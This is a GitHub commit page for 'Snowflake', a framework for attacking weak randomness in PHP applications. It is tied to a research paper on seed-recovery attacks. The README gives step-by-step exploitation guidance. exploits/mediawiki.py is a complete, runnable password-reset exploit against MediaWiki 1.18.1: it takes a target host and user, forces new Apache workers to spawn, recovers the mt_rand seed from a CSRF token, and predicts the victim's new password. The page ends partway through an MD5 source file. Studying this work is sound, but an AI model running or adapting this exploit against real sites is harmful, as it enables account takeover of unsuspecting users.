Skip to content
Browse files

version 0.1

  • Loading branch information...
0 parents commit 44de3dbb0d5cc0ab79aab5a80f2f41c9baab3ada @GeorgeArgyros committed
Showing with 2,476 additions and 0 deletions.
  1. +11 −0 Makefile
  2. +282 −0 README
  3. +231 −0 exploits/mediawiki.py
  4. +189 −0 exploits/snowflake.py
  5. +18 −0 hashlibs/Makefile
  6. +295 −0 hashlibs/md5.c
  7. +45 −0 hashlibs/md5.h
  8. +148 −0 hashlibs/mwikihash.c
  9. +156 −0 mt_rand/mt_rand.c
  10. +48 −0 prob.py
  11. +189 −0 snowflake.py
  12. +21 −0 snowflake/Makefile
  13. +18 −0 snowflake/Makefile.lib
  14. +75 −0 snowflake/rand.c
  15. +10 −0 snowflake/rand.h
  16. +740 −0 snowflake/snowflake.c
11 Makefile
@@ -0,0 +1,11 @@
+all: rainbow hashlib
+
+rainbow:
+ cd snowflake && make
+
+hashlib:
+ cd hashlibs && make
+
+clean:
+ cd snowflake && make clean
+ cd hashlibs && make clean
282 README
@@ -0,0 +1,282 @@
+*****--------------------------=== Snowflake ===--------------------------*****
+-----*****-------------------------^^^^^^^^^-------------------------*****-----
+
+
+SUMMARY
+-------
+Snowflakes are considered unique. A common saying asserts that no two are
+identical. However, under specific circumstances and environments their shapes
+tend to be predictable. For example, the shape of the snowflake is determined
+broadly by the temperature and humidity at which it is formed.
+
+Snowflake is framework to assist the exploitation of randomness vulnerabilities
+in PHP applications. It helps the implementation of seed recovery attacks.
+For more information on these attacks check the paper
+"I Forgot Your Password: Randomness Attacks Against PHP Applications"
+
+This release includes the standalone version of the snowflake cracking tool
+along with its python interface and in addition, a sample password reset
+exploit against mediawiki 1.18.1 in order to demonstrate the process of
+writing such exploits, and a stripped version of the mt_rand() function from
+the PHP sources.
+
+
+
+INSTALLATION
+------------
+Installation of snowflake is pretty straightforward. Just run the make command
+on the top directory and all binaries and libraries will be compiled along
+with the necessary library for the mediawiki sample exploit that is included.
+
+The snowflake executable and library will be installed at the release directory
+while the hash library for the mediawiki exploit will be installed in the
+exploits directory.
+
+Snowflake does not have any weird dependencies therefore it should compile
+successfully in any unix system.
+
+
+Using snowflake
+---------------
+For those familiar with hash cracking tools, snowflake follows an architecture
+which is similar with that of the rainbowcrack tool.
+
+The user creates a user defined hash function (which is application dependent)
+and then compiles that hash function as a shared library, taking care to
+export the necessary information (see below). The function should take as
+input a 32 bit integer (the seed) and return an arbitrary output (defined as char *).
+
+Afterwards, snowflake can do the following using this hash function:
+1. Generate rainbow tables for all 2^32 possible seeds.
+2. Search some given rainbow tables for a target hash.
+3. Perform an online bruteforcing on all 2^32 seeds to find a target hash.
+
+In addition, using the python interface a user can perform the actions 2,3
+from a python script which makes it much easier to use from within a python
+exploit.
+
+**** Defining a hash function ****
+
+In order to define a new hash function one should write the hash function and
+then define a hashFuncEntry array named hashFuncArray that will contain the
+information that snowflake needs regarding the hash function:
+
+struct hashFuncEntry is the following:
+
+typedef struct {
+ char *hashName;
+ char *(*hashFunc)(unsigned int, char *);
+ unsigned int hashLen;
+} hashFuncEntry;
+
+
+where hashName is the name of the hash function that will be passed to snowflake
+hashFunc is a pointer to the function and hashLen is the length of the hashes
+that this function produces.
+
+Here is an example from the mediawiki hash function:
+hashFuncEntry hashFuncArray[] = { // this symbol will be exported.
+ {"wikihash", mediawikiHash, 16},
+ {0, 0, 0}, // terminated by a zero entry.
+};
+
+The array should be always terminated by a all zero entry, however one can
+have more than one hash function in each library.
+
+The hash function should look like this:
+
+char *mediawikiHash(unsigned int seed, char hash[])
+
+The third argument must be an array large enough to hold the hash and the
+function should also return a pointer to that array.
+
+Afterwards, the code should be compiled as a shared library that will lie in
+the same directory as snowflake. The name of the library file should be
+hashlibN.so where N is the number of the library and can be from 0 to 10,
+ex. hashlib0.so.
+
+When writing hash functions that use the mt_rand generator one can use the
+strip version that is included in the mt_rand directory. This version is a
+standalone implementation of the mt_rand function stripped from the PHP code.
+Depending on the hash function defined one may be able to do some additional
+optimizations in order to improve performance (ex. see the mediawiki hash
+function at hashlibs/mwikihash.c).
+
+For hash functions that use the rand() function you may use the standard libc
+implementation. Note that attacking rand() on windows is trivial since the
+state of the LCG of rand() is 15 bits which makes it very easy to attack even
+with direct bruteforce over the network.
+
+
+Now we are ready to use the hash function with snowflake.
+
+**** Generating rainbow tables ****
+
+In order to generate a number of rainbow tables we can use the standalone
+snowflake tool. But first we need to calculate the success probability of our
+tables; ideally we would like our tables to have 100% success probability. For
+this purpose we can use the prob.py script that will calculate the success
+probability given the parameters for each table and the total number of tables.
+
+
+To generate one rainbow table with 10000000 entries and chain length 1000 we
+issue the following command:
+
+snowflake generate 10000000 1000 1 myhashfunction
+
+check the usage menu of snowflake for a detailed explanation for the command.
+
+Notice that because our search space is only 2^32 we not have any particular
+problem in having a success probability of almost one while keeping the tables
+moderately small and the chains short. Some parameters follow:
+
+ Chain Number | Chain length | no. of tables | Success Probality
+
+ 10m 1000 3 0.990317
+ 10m 3000 3 0.999879
+ 5m 3000 3 0.997676
+
+Notice also that each chain entry is 64 bit so we can create a 10m entries
+table with around 80mb of space.
+
+
+**** Searching for rainbow tables ****
+
+In order to search a rainbow table for a target hash we issue the following
+command:
+
+snowflake search rainbow_table_path target_hash
+
+The hash should be in hexadecimal human readable form. snowflake will convert
+it to its raw byte form. An important note is that all the information for the
+rainbow table is included in the filename should the filename should stay
+intact, otherwise you will experience a number of funny stuff ranging from
+errors to stack overflows.
+
+**** Cracking the hash online ****
+
+If no tables are available or the hash was not found in these tables we can
+perform an exhaustive search over all 2^32 possible seeds. To do so we issue
+the command:
+
+snowflake crack hash_func_name target_hash
+
+The cracker is multithreaded and will use a number of threads that is equal to
+the number of CPU cores in the system in order to optimized performance. With
+a 2.3 GHz quadcore processor we were able to search all search space for the
+mediawiki hash function in about 20 minutes.
+
+
+
+**** Using the python interface ****
+
+Snowflake also includes a python module in order to use the search and crack
+functionalities from a python script. The module uses ctypes to access the
+function from within python.
+
+In addition, the module also includes a pure python implementation of the
+mt_rand function as used by PHP. The mediawiki exploit is a nice showcase on
+how to use both of these classes (check exploits/mediawiki.py).
+
+Initially import the classes
+
+from snowflake import MtRand, Snowflake
+
+
+There are 3 functions from the Snowflake class that one can use:
+
+-- __init__( clib = './snowflake.so' )
+The class takes as an optional initialization argument the full path for
+the snowflake shared library, otherwise it will search in the current
+directory for snowflake.so.
+
+-- searchRainbowTables( targetHash, tableList )
+This function will take as input a targetHash (in raw byte form, you can use
+the unhexlify function to convert that) and a list with rainbow tables and
+will try to find the targetHash in each of these tables.
+
+-- searchHashOnline( targetHash, hashFuncName )
+Likewise this function takes a targetHash in raw byte form and the hash function
+name and will perform an exhaustive search in order to find the correct seed
+that generated the target hash.
+
+
+-- oneWayOrAnother( targetHash, tableList, hashFuncName )
+This function is simply a wrapper in order to call both of the above functions.
+It will first search in the given rainbow tables and if the hash is not found
+it will perform an exhaustive search.
+
+
+The MtRand class offers the following functions:
+
+-- __init__ ( php = True ):
+At initialization the user need to instruct the class if it should use
+the php Mersenne Twister implementation or the original mersenne twister
+implementation. There are some differences between the implementations
+that are explained in the paper.
+
+-- mtSrand( seed )
+Seeds the generator with the given seed using the PHP seeding algorithm.
+
+-- mtRand( min = None, max = None)
+Generates a random number using the original Mersenne Twister algorithm with an
+option to map the number to a smaller range using the PHP truncation algorithm.
+
+-- phpMtRand( min = None, max = None )
+Generates a random number using the PHP Mersenne Twister implementation, again
+giving the option to map the number to a smaller range.
+
+
+
+
+Writing exploits using snowflake
+--------------------------------
+
+Okay, now the interesting stuff. We now have everyting we need to mount seed
+recovery attacks against PHP applications that use either rand() or mt_rand().
+
+The first thing we need to do is to find a place within the application that
+an output of the target function is leaked to the user in any form (it could
+be a CSRF token, a random password that is generated, a password reset token,
+just grep around...)
+
+Afterwards we write some C code that generates this leak when a newly seeded
+generator is used. This code will serve as our hash function.
+
+Then we generate some rainbow tables for this hash function and write an
+exploit that will force apache to spawn a new process and we obtain a sample
+of our hash function which we then crack using snowflake to obtain the initial
+seed. This will give us the initial seed that was used by the target
+application.
+
+Now we can reset the target user's password within the same connection
+(remember: keep-alive is your friend!), and to predict the token that will
+be generated.
+
+To find the token we create a new instance of the MtRand class and seed it with
+the seed we obtained. Afterwards we can simply apply the same algorithm to
+predict the generated token.
+
+For a code tutorial which will better illustrate the process check the mediawiki
+exploit.
+
+
+
+TODO / BUGS / ETC
+-----------------
+
+I think that the tool is quite usable by now. I will probably add multithreaded
+search to the rainbow tables in order to improve the search time when complex
+hash functions are used, although with any hash function I have used until now
+the search time is under 1 minute.
+
+In addition, this is an ALPHA release. You will probably find a number of bugs
+for which I would be grateful if you reported. However, please report bugs
+which occur only when the user is not acting maliciously. If someone get owned
+because he opened a malicious rainbow table, so be it! I will probably fix
+of these bugs too (when I find some spare time...).
+
+Finally, If anybody wants to contribute some code too, he is more than welcome
+to do so.
+
+Happy exploitation!
231 exploits/mediawiki.py
@@ -0,0 +1,231 @@
+#! /usr/bin/python
+"""
+Mediawiki 1.18.1 weak randomness exploit
+
+This code exploits a weak randomness vulnerability in mediawiki 1.18.1 although
+a large number of other versions are also vulnerable.
+
+The vulnerability lies in the fact that mediawiki uses mt_rand in order to
+generate the temporary passwords in case a user wants to reset his password.
+This make the application vulnerable to attacks that predict the output of
+mt_rand under mod_php installations. For more information check the paper
+"I Forgot Your Password: Randomness Attacks Against PHP Applications".
+
+Some specific things for this exploit:
+Although I took some care when writing this, you can consider it more of a POC
+rather than an exploit to be used in the wild. I had tested this only in one
+system altough it should probably work in any mod_php installation when the
+proper parameters are passed.
+
+Porting this to other versions of mediawiki should be straightforward. The only
+thing that might change is the two offset variables, which declare the number
+of mt_rand outputs we need to skip when we bruteforce the CSRF token and when
+we generate the target user's password.
+
+The main purpose of this exploit is to serve as a code tutorial for writing
+randomness exploits against PHP applications and for using the python interface
+of the snowflake framework. So, read the code and enjoy!
+"""
+
+from binascii import unhexlify
+from httplib import HTTPConnection
+from urllib import urlencode
+from re import search,sub
+from socket import *
+
+import argparse
+import hashlib
+
+from snowflake import Snowflake, MtRand
+
+
+TOKEN_OFFSET=4
+PASSWORD_OFFSET = 44 - TOKEN_OFFSET - 2
+
+
+def generateLoginToken( gen, skip = TOKEN_OFFSET ):
+ """
+ Generates a Login token as generated from the
+ mediawiki application using the mt_rand generator
+ gen.
+ """
+ for i in range(skip):
+ gen.phpMtRand()
+
+ m = hashlib.md5()
+ t = '%x%x' % (gen.phpMtRand(), gen.phpMtRand())
+ m.update(str(t))
+ return m.hexdigest()
+
+
+def generatePassword( gen, skip = PASSWORD_OFFSET ):
+ """
+ Generates a random password using the mt_rand generator gen
+ using the same algorithm as mediawiki.
+ """
+ # Skip a number of phpMtRand calls...
+ for i in range(skip):
+ gen.phpMtRand(0, 100)
+
+ pwchars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz';
+ l = len(pwchars) - 1;
+ pwlength = 7
+ digit = gen.phpMtRand( 0, pwlength - 1 );
+ np = ''
+ for i in range(pwlength):
+ np += chr( gen.phpMtRand( 48, 57 ) ) if (i == digit) else \
+ pwchars[gen.phpMtRand( 0, l)]
+ return np
+
+
+def spawnNewApacheProcesses( conNum, host, port = 80):
+ """
+ create the necessary connections in order for a new process to be
+ spawn in apache.
+ """
+ request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' \
+ % host
+ sockList = []
+ for i in range(conNum):
+ s = socket(AF_INET, SOCK_STREAM)
+ s.connect((host, port))
+ s.send(request)
+ sockList.append(s)
+
+ return sockList
+
+
+def closeNewApacheConnections( sockList ):
+ """
+ Closes the opened connections.
+ """
+ for s in sockList:
+ s.close()
+ return
+
+
+def extractLoginToken( data ):
+ """
+ Extract the login CSRF token from the page
+ """
+ m = search('name="wpLoginToken" value="(?P<tokenValue>\w+)"', data)
+ return None if m == None else m.group('tokenValue')
+
+
+def makePasswordResetRequest( host, path, targetUser, port=80 ):
+ """
+ Make the password reset requests for users in accounts list
+ """
+
+ loginPage = path + '/index.php?title=Special:UserLogin'
+ passResetPage = path +'/index.php/Special:PasswordReset'
+ headers = {"Content-type": "application/x-www-form-urlencoded", "Connection" : "Keep-Alive"}
+ con = HTTPConnection(host, port)
+ cookie = None
+
+ # 1st request extracts the CSRF token which is used to recover mt_rand seed
+ con.request( 'GET', loginPage, '', headers=headers )
+ resp = con.getresponse()
+ data = resp.read()
+ token = extractLoginToken( data )
+
+ if not token:
+ return None
+
+ # Use the token and the obtain cookie to submit a password reset request
+ # for the target user.
+ cookie = resp.getheader('Set-Cookie')
+ cookie = cookie[:cookie.find(';')]
+ headers['Cookie'] = cookie
+
+ # Submit the password reset form
+ params = {'wpUsername' : targetUser, 'wpEditToken':'+\\',
+ 'title' : 'Special:PasswordReset',
+ 'redirectparams' : '' }
+
+ con.request( 'POST', passResetPage, urlencode(params), headers )
+ #data = con.getresponse().read() # To keep alive the connection
+ con.close()
+ return token
+
+
+def parseArguments():
+
+ parser = argparse.ArgumentParser(
+ description='mediawiki 1.18.1 weak randomness - password reset exploit',
+ epilog='Because randomness is not easy to achieve.')
+
+ parser.add_argument('--host', action='store', dest='host',
+ help='target hostname', required=True)
+ parser.add_argument('--path', action='store', dest='path', type=str,
+ default='/', help='path to the target wiki')
+ parser.add_argument('--user', action='store', dest='user',
+ help='User to attack', required=True)
+ parser.add_argument('--proc', action='store', dest='proc', default=15,
+ type=int, help='Expected number of apache workers')
+ parser.add_argument('--port', action='store', dest='port', type=int,
+ default=80, help='Port in which Apache is listening')
+ parser.add_argument('--table', action='append', dest='tables', type=str,
+ default=[], help='Rainbow tables to use')
+ parser.add_argument('--clib', action='store', dest='clib', type=str,
+ default=None, help='path to cracklib')
+ parser.add_argument('--hash', action='store', dest='hashFunc', type=str,
+ default=None, help='hash function name')
+
+
+ args = parser.parse_args()
+ if not args.hashFunc and len(args.tables) == 0:
+ parser.error('You need to define a hash function or a rainbow table to use')
+
+ # Urls with multiple slashes will fail in mediawiki
+ args.path = sub('/*$', '', args.path)
+
+ return args
+
+
+
+def main():
+
+ args = parseArguments()
+
+ print '[+] Forcing creation of new apache process.'
+
+ conList = spawnNewApacheProcesses( args.proc, args.host )
+
+ print '[+] Connecting to make the password reset requests.'
+ token = makePasswordResetRequest(args.host, args.path, args.user, args.port)
+
+ closeNewApacheConnections( conList )
+
+ print'[+] Password reset request completed.'
+ print '[+] Token hash: %s' % (token)
+
+ print '[+] Inverting hash using snowflake.'
+ # Found the Hash, now lookit up in the rainbow tables if they exist
+ # or else crack it on spot.
+
+ clib = None if not args.clib else args.clib
+ flake = Snowflake(clib)
+ seed = flake.oneWayOrAnother(unhexlify(token), args.tables, args.hashFunc)
+ if not seed:
+ print '[-] Seed was not found. :-('
+ return 1
+
+ print '[+] Seed is 0x%x! Verifying and producing password.' % seed
+
+
+ gen = MtRand(True)
+ gen.mtSrand(seed)
+
+ # Check if the seed that we found indeed generated the token obtained
+ if token != generateLoginToken(gen):
+ print '[-] Something went wrong. The token does not match. :-('
+ return 1
+
+ # Victory!
+ passwd = generatePassword(gen)
+ print '[+] Password generated for user %s is %s' % (args.user, passwd)
+ return 0
+
+if __name__ == '__main__':
+ main()
189 exploits/snowflake.py
@@ -0,0 +1,189 @@
+from ctypes import *
+
+CRACKERLIB_PATH = "../release/snowflake.so"
+bitMask = 0xffffffff
+
+class MtRand:
+
+ N = 624
+ M = 397
+
+ def __init__(self, php = True):
+ self.php = php
+ self.twist = self.phpTwist if php else self.mtTwist
+ self.seeded = False
+ self.state = []
+ self.next = self.N
+
+
+ def phpTwist(self, m, u, v):
+ """
+ The invalid twist operation of the PHP generator
+ """
+ return (m ^ (((u) & 0x80000000)|((v) & 0x7fffffff))>>1) ^ \
+ ((-((u) & 0x00000001)) & 0x9908b0df)
+
+
+ def mtTwist(self, m, u, v):
+ """
+ The original mt twist operation
+ """
+ return (m ^ (((u) & 0x80000000)|((v) & 0x7fffffff))>>1) ^ \
+ ((-((v) & 0x00000001)) & 0x9908b0df)
+
+
+ def mtSrand(self, seed):
+ """
+ The default seeding procedure from the original MT code
+ """
+ self.seeded = True
+ self.next = self.N
+ self.state = [seed & bitMask]
+ for i in range(1, self.N):
+ s = (1812433253 * (self.state[i-1] ^ (self.state[i-1] >> 30))+ i)
+ self.state.append(s & bitMask)
+ #print self.state[0:10]
+
+ def setState(self, state):
+ """
+ Replace existing state with another one and considers the
+ generator initialized
+ """
+ self.next = self.N
+ self.state = state
+ self.seeded = True
+
+
+ def reload(self):
+ """
+ Generate the next N words of the internal state
+ """
+ N = self.N
+ M = self.M
+ for i in range(N - M):
+ self.state[i] = self.twist(self.state[M + i], self.state[i],
+ self.state[i+1])
+ for i in range(i+1, N-1):
+ self.state[i] = self.twist(self.state[i+(M-N)], self.state[i],
+ self.state[i+1])
+ self.state[N-1] = self.twist(self.state[M-1], self.state[N-1],
+ self.state[0])
+ self.next = 0
+ return
+
+
+ def mtRand(self, min = None, max = None):
+ """
+ Generate a 32 bit integer
+ """
+ if not self.seeded:
+ self.mtSrand(0xdeadbeef)
+
+ if self.next == self.N:
+ self.reload()
+
+ num = self.state[ self.next ]
+ self.next += 1
+
+ num = (num ^ (num >> 11))
+ num = (num ^ ((num << 7) & 0x9d2c5680))
+ num = (num ^ ((num << 15) & 0xefc60000))
+ num = (num ^ (num >> 18))
+
+ if not min and not max:
+ return num
+
+ #print max,min
+ return (min + (num*(max - min + 1)) / (1<<32))
+
+ def phpMtRand(self, rmin = None, rmax= None):
+ """
+ as returned by PHP
+ """
+ num = self.mtRand() >> 1
+ #print bin(num)
+ if not rmin and not rmax:
+ return num
+ return (rmin + (num*(rmax - rmin + 1)) / (1 <<31))
+
+
+
+class Snowflake:
+
+ def __init__(self, path=None):
+ """
+ Load the functions from the shared library.
+ """
+ if not path:
+ path = CRACKERLIB_PATH
+ crackerLib = cdll.LoadLibrary(path)
+ self.initialized = False
+
+ if not crackerLib:
+ print 'Foofootos'
+ return
+ self.searchRainbowTableFunc = crackerLib.searchRainbowTable
+ self.searchHashOnlineFunc = crackerLib.searchHashOnline
+ self.initialized = True
+
+
+ def oneWayOrAnother(self, targetHash, tableList=[], hashFuncName=None):
+ """
+ Will try to crack the hash using either rainbow tables or
+ an online search if the first method fails.
+ """
+ seed = None
+ if not targetHash or not self.initialized:
+ return None
+
+ for table in tableList:
+ seed = self.searchRainbowTables(targetHash, tableList)
+ if seed:
+ return seed
+
+ if hashFuncName:
+ seed = self.searchHashOnline(targetHash, hashFuncName)
+
+ return seed
+
+
+ def searchRainbowTables(self, targetHash, tableList):
+ """
+ Will search all tables in tableList for the targetHash
+ hash. It will return the seed value or None if its not
+ found.
+ """
+ if not self.initialized or not (targetHash and tableList):
+ return None
+
+ chash = create_string_buffer(targetHash, len(targetHash))
+ for t in tableList:
+ ct = c_char_p(t)
+ cseed = c_uint()
+ ret = self.searchRainbowTableFunc(ct, chash, byref(cseed))
+ if ret > 0:
+ return cseed.value
+ return None
+
+
+ def searchHashOnline(self, targetHash, hashFunc):
+ """
+ Do an exhaustive search on all 2^32 possible seeds using the
+ respective function from the library.
+ """
+
+ if not self.initialized or not (targetHash and hashFunc):
+ return None
+
+ chash = c_char_p(targetHash)
+ chashFunc = c_char_p(hashFunc)
+ cseed = c_uint()
+
+ ret = self.searchHashOnlineFunc(chashFunc, chash, byref(cseed))
+ if ret > 0:
+ return cseed.value
+ return None
+
+
+if __name__ == '__main__':
+ print 'Snowflake module for attacking PHP PRNGs'
18 hashlibs/Makefile
@@ -0,0 +1,18 @@
+CC=gcc
+CFLAGS=-fPIC -O3 -funroll-loops -fomit-frame-pointer -fno-stack-protector
+LDFLAGS=-shared -Wl,-soname,$@.so.1 -export-dynamic
+OBJS= md5.o mwikihash.o
+
+all: hashlib0
+
+
+hashlib0: $(OBJS)
+ $(CC) $(LDFLAGS) -o ../release/$@.so $^
+ cp ../release/$@.so ../exploits
+
+%.o : %.c
+ $(CC) $(CFLAGS) -c $<
+
+
+clean:
+ rm -f *.o ../release/hashlib0.so ../exploits/hashlib0.so
295 hashlibs/md5.c
@@ -0,0 +1,295 @@
+/*
+ * This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.
+ * MD5 Message-Digest Algorithm (RFC 1321).
+ *
+ * Homepage:
+ * http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
+ *
+ * Author:
+ * Alexander Peslyak, better known as Solar Designer <solar at openwall.com>
+ *
+ * This software was written by Alexander Peslyak in 2001. No copyright is
+ * claimed, and the software is hereby placed in the public domain.
+ * In case this attempt to disclaim copyright and place the software in the
+ * public domain is deemed null and void, then the software is
+ * Copyright (c) 2001 Alexander Peslyak and it is hereby released to the
+ * general public under the following terms:
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ *
+ * (This is a heavily cut-down "BSD license".)
+ *
+ * This differs from Colin Plumb's older public domain implementation in that
+ * no exactly 32-bit integer data type is required (any 32-bit or wider
+ * unsigned integer data type will do), there's no compile-time endianness
+ * configuration, and the function prototypes match OpenSSL's. No code from
+ * Colin Plumb's implementation has been reused; this comment merely compares
+ * the properties of the two independent implementations.
+ *
+ * The primary goals of this implementation are portability and ease of use.
+ * It is meant to be fast, but not as fast as possible. Some known
+ * optimizations are not included to reduce source code size and avoid
+ * compile-time configuration.
+ */
+
+#ifndef HAVE_OPENSSL
+
+#include <string.h>
+
+#include "md5.h"
+
+/*
+ * The basic MD5 functions.
+ *
+ * F and G are optimized compared to their RFC 1321 definitions for
+ * architectures that lack an AND-NOT instruction, just like in Colin Plumb's
+ * implementation.
+ */
+#define F(x, y, z) ((z) ^ ((x) & ((y) ^ (z))))
+#define G(x, y, z) ((y) ^ ((z) & ((x) ^ (y))))
+#define H(x, y, z) ((x) ^ (y) ^ (z))
+#define I(x, y, z) ((y) ^ ((x) | ~(z)))
+
+/*
+ * The MD5 transformation for all four rounds.
+ */
+#define STEP(f, a, b, c, d, x, t, s) \
+ (a) += f((b), (c), (d)) + (x) + (t); \
+ (a) = (((a) << (s)) | (((a) & 0xffffffff) >> (32 - (s)))); \
+ (a) += (b);
+
+/*
+ * SET reads 4 input bytes in little-endian byte order and stores them
+ * in a properly aligned word in host byte order.
+ *
+ * The check for little-endian architectures that tolerate unaligned
+ * memory accesses is just an optimization. Nothing will break if it
+ * doesn't work.
+ */
+#if defined(__i386__) || defined(__x86_64__) || defined(__vax__)
+#define SET(n) \
+ (*(MD5_u32plus *)&ptr[(n) * 4])
+#define GET(n) \
+ SET(n)
+#else
+#define SET(n) \
+ (ctx->block[(n)] = \
+ (MD5_u32plus)ptr[(n) * 4] | \
+ ((MD5_u32plus)ptr[(n) * 4 + 1] << 8) | \
+ ((MD5_u32plus)ptr[(n) * 4 + 2] << 16) | \
+ ((MD5_u32plus)ptr[(n) * 4 + 3] << 24))
+#define GET(n) \
+ (ctx->block[(n)])
+#endif
+
+/*
+ * This processes one or more 64-byte data blocks, but does NOT update
+ * the bit counters. There are no alignment requirements.
+ */
+static void *body(MD5_CTX *ctx, void *data, unsigned long size)
+{
+ unsigned char *ptr;
+ MD5_u32plus a, b, c, d;
+ MD5_u32plus saved_a, saved_b, saved_c, saved_d;
+
+ ptr = data;
+
+ a = ctx->a;
+ b = ctx->b;
+ c = ctx->c;
+ d = ctx->d;
+
+ do {
+ saved_a = a;
+ saved_b = b;
+ saved_c = c;
+ saved_d = d;
+
+/* Round 1 */
+ STEP(F, a, b, c, d, SET(0), 0xd76aa478, 7)
+ STEP(F, d, a, b, c, SET(1), 0xe8c7b756, 12)
+ STEP(F, c, d, a, b, SET(2), 0x242070db, 17)
+ STEP(F, b, c, d, a, SET(3), 0xc1bdceee, 22)
+ STEP(F, a, b, c, d, SET(4), 0xf57c0faf, 7)
+ STEP(F, d, a, b, c, SET(5), 0x4787c62a, 12)
+ STEP(F, c, d, a, b, SET(6), 0xa8304613, 17)
+ STEP(F, b, c, d, a, SET(7), 0xfd469501, 22)
+ STEP(F, a, b, c, d, SET(8), 0x698098d8, 7)
+ STEP(F, d, a, b, c, SET(9), 0x8b44f7af, 12)
+ STEP(F, c, d, a, b, SET(10), 0xffff5bb1, 17)
+ STEP(F, b, c, d, a, SET(11), 0x895cd7be, 22)
+ STEP(F, a, b, c, d, SET(12), 0x6b901122, 7)
+ STEP(F, d, a, b, c, SET(13), 0xfd987193, 12)
+ STEP(F, c, d, a, b, SET(14), 0xa679438e, 17)
+ STEP(F, b, c, d, a, SET(15), 0x49b40821, 22)
+
+/* Round 2 */
+ STEP(G, a, b, c, d, GET(1), 0xf61e2562, 5)
+ STEP(G, d, a, b, c, GET(6), 0xc040b340, 9)
+ STEP(G, c, d, a, b, GET(11), 0x265e5a51, 14)
+ STEP(G, b, c, d, a, GET(0), 0xe9b6c7aa, 20)
+ STEP(G, a, b, c, d, GET(5), 0xd62f105d, 5)
+ STEP(G, d, a, b, c, GET(10), 0x02441453, 9)
+ STEP(G, c, d, a, b, GET(15), 0xd8a1e681, 14)
+ STEP(G, b, c, d, a, GET(4), 0xe7d3fbc8, 20)
+ STEP(G, a, b, c, d, GET(9), 0x21e1cde6, 5)
+ STEP(G, d, a, b, c, GET(14), 0xc33707d6, 9)
+ STEP(G, c, d, a, b, GET(3), 0xf4d50d87, 14)
+ STEP(G, b, c, d, a, GET(8), 0x455a14ed, 20)
+ STEP(G, a, b, c, d, GET(13), 0xa9e3e905, 5)
+ STEP(G, d, a, b, c, GET(2), 0xfcefa3f8, 9)
+ STEP(G, c, d, a, b, GET(7), 0x676f02d9, 14)
+ STEP(G, b, c, d, a, GET(12), 0x8d2a4c8a, 20)
+
+/* Round 3 */
+ STEP(H, a, b, c, d, GET(5), 0xfffa3942, 4)
+ STEP(H, d, a, b, c, GET(8), 0x8771f681, 11)
+ STEP(H, c, d, a, b, GET(11), 0x6d9d6122, 16)
+ STEP(H, b, c, d, a, GET(14), 0xfde5380c, 23)
+ STEP(H, a, b, c, d, GET(1), 0xa4beea44, 4)
+ STEP(H, d, a, b, c, GET(4), 0x4bdecfa9, 11)
+ STEP(H, c, d, a, b, GET(7), 0xf6bb4b60, 16)
+ STEP(H, b, c, d, a, GET(10), 0xbebfbc70, 23)
+ STEP(H, a, b, c, d, GET(13), 0x289b7ec6, 4)
+ STEP(H, d, a, b, c, GET(0), 0xeaa127fa, 11)
+ STEP(H, c, d, a, b, GET(3), 0xd4ef3085, 16)
+ STEP(H, b, c, d, a, GET(6), 0x04881d05, 23)
+ STEP(H, a, b, c, d, GET(9), 0xd9d4d039, 4)
+ STEP(H, d, a, b, c, GET(12), 0xe6db99e5, 11)
+ STEP(H, c, d, a, b, GET(15), 0x1fa27cf8, 16)
+ STEP(H, b, c, d, a, GET(2), 0xc4ac5665, 23)
+
+/* Round 4 */
+ STEP(I, a, b, c, d, GET(0), 0xf4292244, 6)
+ STEP(I, d, a, b, c, GET(7), 0x432aff97, 10)
+ STEP(I, c, d, a, b, GET(14), 0xab9423a7, 15)
+ STEP(I, b, c, d, a, GET(5), 0xfc93a039, 21)
+ STEP(I, a, b, c, d, GET(12), 0x655b59c3, 6)
+ STEP(I, d, a, b, c, GET(3), 0x8f0ccc92, 10)
+ STEP(I, c, d, a, b, GET(10), 0xffeff47d, 15)
+ STEP(I, b, c, d, a, GET(1), 0x85845dd1, 21)
+ STEP(I, a, b, c, d, GET(8), 0x6fa87e4f, 6)
+ STEP(I, d, a, b, c, GET(15), 0xfe2ce6e0, 10)
+ STEP(I, c, d, a, b, GET(6), 0xa3014314, 15)
+ STEP(I, b, c, d, a, GET(13), 0x4e0811a1, 21)
+ STEP(I, a, b, c, d, GET(4), 0xf7537e82, 6)
+ STEP(I, d, a, b, c, GET(11), 0xbd3af235, 10)
+ STEP(I, c, d, a, b, GET(2), 0x2ad7d2bb, 15)
+ STEP(I, b, c, d, a, GET(9), 0xeb86d391, 21)
+
+ a += saved_a;
+ b += saved_b;
+ c += saved_c;
+ d += saved_d;
+
+ ptr += 64;
+ } while (size -= 64);
+
+ ctx->a = a;
+ ctx->b = b;
+ ctx->c = c;
+ ctx->d = d;
+
+ return ptr;
+}
+
+void MD5_Init(MD5_CTX *ctx)
+{
+ ctx->a = 0x67452301;
+ ctx->b = 0xefcdab89;
+ ctx->c = 0x98badcfe;
+ ctx->d = 0x10325476;
+
+ ctx->lo = 0;
+ ctx->hi = 0;
+}
+
+void MD5_Update(MD5_CTX *ctx, void *data, unsigned long size)
+{
+ MD5_u32plus saved_lo;
+ unsigned long used, free;
+
+ saved_lo = ctx->lo;
+ if ((ctx->lo = (saved_lo + size) & 0x1fffffff) < saved_lo)
+ ctx->hi++;
+ ctx->hi += size >> 29;
+
+ used = saved_lo & 0x3f;
+
+ if (used) {
+ free = 64 - used;
+
+ if (size < free) {
+ memcpy(&ctx->buffer[used], data, size);
+ return;
+ }
+
+ memcpy(&ctx->buffer[used], data, free);
+ data = (unsigned char *)data + free;
+ size -= free;
+ body(ctx, ctx->buffer, 64);
+ }
+
+ if (size >= 64) {
+ data = body(ctx, data, size & ~(unsigned long)0x3f);
+ size &= 0x3f;
+ }
+
+ memcpy(ctx->buffer, data, size);
+}
+
+void MD5_Final(unsigned char *result, MD5_CTX *ctx)
+{
+ unsigned long used, free;
+
+ used = ctx->lo & 0x3f;
+
+ ctx->buffer[used++] = 0x80;
+
+ free = 64 - used;
+
+ if (free < 8) {
+ memset(&ctx->buffer[used], 0, free);
+ body(ctx, ctx->buffer, 64);
+ used = 0;
+ free = 64;
+ }
+
+ memset(&ctx->buffer[used], 0, free - 8);
+
+ ctx->lo <<= 3;
+ ctx->buffer[56] = ctx->lo;
